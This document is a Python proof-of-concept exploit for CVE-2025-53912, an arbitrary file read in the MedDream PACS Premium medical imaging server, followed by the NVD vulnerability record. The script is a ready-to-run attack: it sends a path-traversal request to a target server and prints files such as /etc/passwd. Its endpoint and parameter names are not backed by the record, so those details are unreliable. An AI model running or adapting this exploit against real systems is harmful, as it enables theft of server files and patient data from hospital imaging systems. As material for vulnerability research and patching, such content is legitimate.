CVE-2025-53912

import requests import sys # CVE-2025-53912 PoC - MedDream PACS Premium Arbitrary File Read # Target: MedDream PACS Premium 7.3.6.870 # Vulnerability: Unvalidated file path in encapsulatedDoc functionality def exploit_file_read(target_url, file_path): """ Exploit arbitrary file read vulnerability in MedDream PACS Premium Args: target_url: Base URL of the vulnerable MedDream server file_path: Path to the file to read (e.g., ../../../../etc/passwd) Returns: File contents if successful, None otherwise """ # Construct the malicious request targeting encapsulatedDoc endpoint exploit_url = f"{target_url}/pacs/api/encapsulatedDoc" # Payload with path traversal to read arbitrary files params = { 'documentId': file_path, 'type': 'application/octet-stream' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': '*/*', 'Connection': 'close' } try: print(f"[*] Sending exploit request to: {exploit_url}") print(f"[*] Attempting to read: {file_path}") response = requests.get(exploit_url, params=params, headers=headers, timeout=30) if response.status_code == 200: print(f"[+] Success! File contents retrieved ({len(response.content)} bytes)") return response.content else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return None def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-53912_poc.py <target_url> <file_path>") print("Example: python cve-2025-53912_poc.py http://target.com /etc/passwd") sys.exit(1) target_url = sys.argv[1].rstrip('/') file_path = sys.argv[2] result = exploit_file_read(target_url, file_path) if result: print("\n[+] File Contents:") print("=" * 60) try: print(result.decode('utf-8')) except: print(result) print("=" * 60) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-53912", "sourceIdentifier": "[email protected]", "published": "2026-01-20T15:16:59.443", "lastModified": "2026-01-29T15:26:24.213", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An arbitrary file read vulnerability exists in the encapsulatedDoc functionality of MedDream PACS Premium 7.3.6.870. A specially crafted HTTP request can lead to an arbitrary file read. An attacker can send http request to trigger this vulnerability."}, {"lang": "es", "value": "Existe una vulnerabilidad de lectura arbitraria de archivos en la funcionalidad encapsulatedDoc de MedDream PACS Premium 7.3.6.870. Una solicitud HTTP especialmente diseñada puede conducir a una lectura arbitraria de archivos. Un atacante puede enviar una solicitud HTTP para activar esta vulnerabilidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:meddream:pacs_server:7.3.6.870:*:*:*:premium:*:*:*", "matchCriteriaId": "0F239E49-18E8-4DE0-B9B8-C220C3BC0C62"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2273", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2273", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}